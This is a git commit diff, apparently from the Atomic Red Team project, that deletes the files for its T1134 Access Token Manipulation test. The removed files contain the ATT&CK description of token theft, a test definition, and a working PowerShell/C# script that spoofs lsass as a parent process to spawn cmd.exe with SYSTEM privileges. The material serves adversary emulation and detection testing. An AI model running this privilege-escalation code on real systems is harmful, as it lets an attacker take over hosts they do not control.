Deleted T1134 atomic files (#887)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
@@ -1,55 +0,0 @@
|
||||
# T1134 - Access Token Manipulation
|
||||
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1134)
|
||||
<blockquote>Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)
|
||||
|
||||
Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
|
||||
|
||||
Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)
|
||||
|
||||
**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.
|
||||
|
||||
**Create Process with a Token** - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.
|
||||
|
||||
**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.
|
||||
|
||||
Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.
|
||||
|
||||
Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - Access Token Manipulation](#atomic-test-1---access-token-manipulation)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - Access Token Manipulation
|
||||
Creates a process as another user
|
||||
Requires Administrator Privileges To Execute Test
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
|
||||
|
||||
|
||||
```powershell
|
||||
#list processes by user,
|
||||
$owners = @{}
|
||||
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
|
||||
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
|
||||
|
||||
#Steal Token
|
||||
Set-Location $PathToAtomicsFolder
|
||||
.\T1134\src\T1134.ps1
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
@@ -1,23 +0,0 @@
|
||||
---
|
||||
attack_technique: T1134
|
||||
display_name: Access Token Manipulation
|
||||
|
||||
atomic_tests:
|
||||
- name: Access Token Manipulation
|
||||
description: |
|
||||
Creates a process as another user
|
||||
Requires Administrator Privileges To Execute Test
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
command: |
|
||||
#list processes by user,
|
||||
$owners = @{}
|
||||
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
|
||||
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
|
||||
|
||||
#Steal Token
|
||||
Set-Location $PathToAtomicsFolder
|
||||
.\T1134\src\T1134.ps1
|
||||
@@ -1,162 +0,0 @@
|
||||
<#
|
||||
|
||||
$owners = @{}
|
||||
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
|
||||
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
|
||||
|
||||
#>
|
||||
|
||||
# Simple powershell/C# to spawn a process under a different Token
|
||||
# Launch PowerShell As Administrator
|
||||
# usage: . .\Get- System.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
|
||||
# Reference: https://github.com/decoder-it/psgetsystem
|
||||
|
||||
# TODO Make this more PowerShelly, parmeterize etc...
|
||||
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class MyProcess
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
static extern bool CreateProcess(
|
||||
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
|
||||
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
|
||||
out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UpdateProcThreadAttribute(
|
||||
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
|
||||
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool InitializeProcThreadAttributeList(
|
||||
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public int bInheritHandle;
|
||||
}
|
||||
|
||||
public static void CreateProcessFromParent(int ppid, string command)
|
||||
{
|
||||
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||
const uint CREATE_NEW_CONSOLE = 0x00000010;
|
||||
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||
|
||||
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
STARTUPINFOEX si = new STARTUPINFOEX();
|
||||
si.StartupInfo.cb = Marshal.SizeOf(si);
|
||||
IntPtr lpValue = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
|
||||
IntPtr phandle = Process.GetProcessById(ppid).Handle;
|
||||
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteIntPtr(lpValue, phandle);
|
||||
|
||||
UpdateProcThreadAttribute(
|
||||
si.lpAttributeList,
|
||||
0,
|
||||
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
lpValue,
|
||||
(IntPtr)IntPtr.Size,
|
||||
IntPtr.Zero,
|
||||
IntPtr.Zero);
|
||||
|
||||
|
||||
SECURITY_ATTRIBUTES pattr = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES tattr = new SECURITY_ATTRIBUTES();
|
||||
pattr.nLength = Marshal.SizeOf(pattr);
|
||||
tattr.nLength = Marshal.SizeOf(tattr);
|
||||
Console.Write("Starting: " + command + "...");
|
||||
bool b = CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
|
||||
Console.WriteLine(b);
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
|
||||
if (si.lpAttributeList != IntPtr.Zero)
|
||||
{
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
Marshal.FreeHGlobal(si.lpAttributeList);
|
||||
}
|
||||
Marshal.FreeHGlobal(lpValue);
|
||||
|
||||
if (pi.hProcess != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
if (pi.hThread != IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
"@
|
||||
Add-Type -TypeDefinition $code
|
||||
Reference in New Issue
Block a user